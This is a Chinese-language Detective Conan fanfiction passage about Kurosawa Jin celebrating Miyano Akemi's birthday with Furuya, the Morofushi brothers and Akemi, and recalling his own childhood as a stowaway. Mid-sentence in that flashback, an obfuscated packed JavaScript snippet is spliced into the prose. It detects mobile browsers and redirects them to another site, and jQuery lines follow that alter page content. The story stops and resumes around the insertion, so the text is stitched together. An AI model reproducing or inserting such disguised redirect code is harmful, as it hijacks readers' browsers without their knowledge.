三月中旬，三月十四日①，是宫野明美的生日。
降谷零扒在窗台边看雪，注视着楼底下来来往往的行人。
金黄色的碎发亲昵地和脸颊相接，脸和玻璃贴的太近，几乎要将他的五官都压平。呼出的白气在窗面晕开一小片模糊的水雾，又被他用袖子擦去。
“老师还没回来吗……”
风雪太大，楼层太高，底下的人不过都是飘渺恍惚的黑影，看不确切真实的模样。
诸伏景光拉开阳台门，冷风趁机钻入室内，看着幼驯染缩成一团，也要死死盯着楼下的倔强背影，只觉得好笑又无奈。
“zero，别靠在那里了，外面很冷。”
“哥哥和明美正在整理餐桌，我们先吃饭吧。”
“现在几点了？”降谷零没有回头，闷闷不乐地抵着玻璃问。
诸伏景光走到了他身边，陪着他，坐在窗边吹风。
“大概四五点了吧？”
“今天都快过去了……”降谷零歪倒在诸伏景光的肩膀上，“已经好久没见到老师了，都快十天了……”
“是十一天。”诸伏景光把降谷零翘起的碎发抚平，轻声纠正。
等待是很漫长的刻度，在童年的历程里总是被拉得格外缓慢。
他原本不明白这些，直到长野与东京之间牵起那根电话线，日历上被红笔圈出的日期像散落的纽扣，永远凑不齐完整的月份。
他学会了等待。
在和哥哥一同居住在东京后，他曾以为自己再也不需要等待。
但这次的等待又或许有不同，
他带着约定，带着期许，确切着那个人一定会踏雪归来。
等待是漫长的，却通往一条美好的道路，在等待的尽头，和那个人终将重逢。
……
黑泽阵推开家门时，四个脑袋正齐刷刷地转向他。
雪花在肩头尚未消融，寒气随着敞开的门缝漫入玄关。
“怎么都在门口等着。”
话音未落，温暖的重量便接二连三地撞进他怀里，伸出毛绒绒的爪子，将他团团围住，埋在沾染雪粒的羊毛围巾间。
他弯腰放下蛋糕和礼物，拢住了他们，寒气被蓬勃的暖意驱散，外界的一切纷扰和黑暗都与此地无关。
“我回来了。”
他轻轻说。
……
“祝你生日快乐~”几个孩子聚在沙发边，等着黑泽阵拿出准备的奶油蛋糕。
点上蜡烛，关掉灯，烛火在奶油蛋糕上摇曳，将孩子们的脸庞染成温暖的蜜色。
女孩双手交握，睫毛在眼下投出细碎的阴影，虔诚闭眼，许下心愿。
“明美，你许了什么愿望？”降谷零凑上前，一脸好奇地询问。
宫野明美轻轻地笑，“想和大家一直在一起。”
“欸！”降谷零瞪大眼，作势要去捂住宫野明美的嘴，“我就随口一问，别把愿望说出来啊，说出来就不灵了！”
诸伏高明从旁边随手拿了本书，敲了敲降谷零的脑袋，“事在人为，说出来又有何不可？”
“hiro……高明哥越来越像大人了。”降谷零捂着头凑到自家幼驯染身边，一幅悄悄说坏话的模样。
“我可要把这句话告诉哥哥。”诸伏景光抿嘴笑了起来，眼睛里满是揶揄。
“hiro！”降谷零受到了来自幼驯染的双重伤害，愤愤从沙发上站起。
几人目光抬起，看着他的动作。
降谷零绕着几人走了一圈，觉得坐哪里都别扭，最后又憋屈地坐回了原位。
宫野明美和诸伏景光相视一眼，忍不住笑了出来。
“零，吃蛋糕。”宫野明美趁着降谷零还没开口，把切好的蛋糕摆在他的面前。
“……谢谢明美。”降谷零双手接过，又乖巧地坐下了。
诸伏高明负责给每个人分餐具，降谷零已经迫不及待地挖了一大勺塞进嘴里。
“好吃欸！”降谷零含糊不清地赞叹，满足地眯起眼睛。
“店员推荐的种类，不用这么夸张。”
黑泽阵也分到了一块，他忽然倾身，伸出手，之间掠过蛋糕边缘，挑起一抹奶油，轻轻点在女孩的鼻尖。
宫野明美仰头看着他，感受着鼻尖的一点凉意，像是窗外飘进的飞雪落入，化作清甜的味道萦绕室内。
“生日快乐。”
他又说了一次，声音比烛光更柔软。
……
“老师，你的生日是什么时候啊？”
黑泽阵静静地吃着蛋糕，看着几个孩子聚在一起送礼物，相互打闹，突然之间，降谷零转头，抛了个问题过来。
这具身体的生日……
他思考着三岁时，自己刚刚到达这个世界的回忆，如同被水泡发的旧纸页，边缘蜷曲，字迹漫漶。
三岁的夏天，很闷热，很潮湿，浸水的棉被裹住口鼻，咸腥的海风混杂着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16512767|183329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
汗臭味，他被一双枯瘦的手包裹着，所有的偷渡难民都挤在低矮的甲板之下，暗无天日地来到了这座岛屿。
阳光很刺眼，像烧红的铁钉扎进瞳孔，照得他几乎沸腾，颜色如火焰，热烈地焚烧一切。
他像一只被烫伤的猫崽子，缩在码头的阴影里，看着沥青路面蒸腾起的扭曲热浪。
没有人给他过过生日，他也不知道自己的生日。
表面上，他沉思了两秒，淡淡开口，“应该在夏天吧。”
“夏天的什么时候呢？”宫野明美直直地盯着他，目光专注。
“我也不知道，”黑泽阵拨开盘中的奶油，叉起水果放入口中，“我不过生日。”
宫野明美捏着银叉的手指微微发白。
她看着银发男人垂眸咀嚼的模样，那双总是盛着一汪深水的眼睛此刻映着灯光，竟显得格外遥远。
“可是生日很重要啊。”她小声说，声音被窗外的风雪削薄了几分。
“我已经过了过生日的年纪了。”黑泽阵感叹一句，并没有把这件事放在心上。
降谷零突然从窗边跑过来，身后跟着飘飞的白雪，扑灭了他记忆里滚烫的热意。
“等夏天到了，我们给老师办生日派对吧！"
诸伏高明坐在诸伏景光身边，看到黑泽阵眼中的平静，没有制止降谷零的话语，反而附和着说，
“我们的生日就是阵的生日，每一个生日，我们都和阵一起过。”
窗外的雪还在下，将陈旧伤疤与崭新承诺都温柔覆盖。
黑泽阵看着四双亮晶晶的眼睛，浅浅地勾起嘴角。
“随你们。”
降谷零欢呼一声，“我的生日最先到，老师可不要反悔！”
“哥哥，”
女孩从身后悄悄靠近，等到黑泽阵转身，动作轻快地把指尖的奶油抹到黑泽阵的眉心，
他的头偏转，晃动时，恍惚之间看去，
——胜似眉间一点雪。
“祝你生日快乐。”
他的神态自然放松，靠坐在沙发的一角。
银发披散，交错垂落在身前，映着苍白的皮肤，眼睫轻眨，剔透的蓝中泛着碧波的绿，感受着眉间的细微痒意，他微微愣住，无奈而又柔和地弯起了嘴角，如初雪消融般漫过眉眼。
四人望向他。
这番难以忘怀的景象，直到许久之后，分别又重逢，他们仍在心底保留着这份纯粹而珍贵的画面。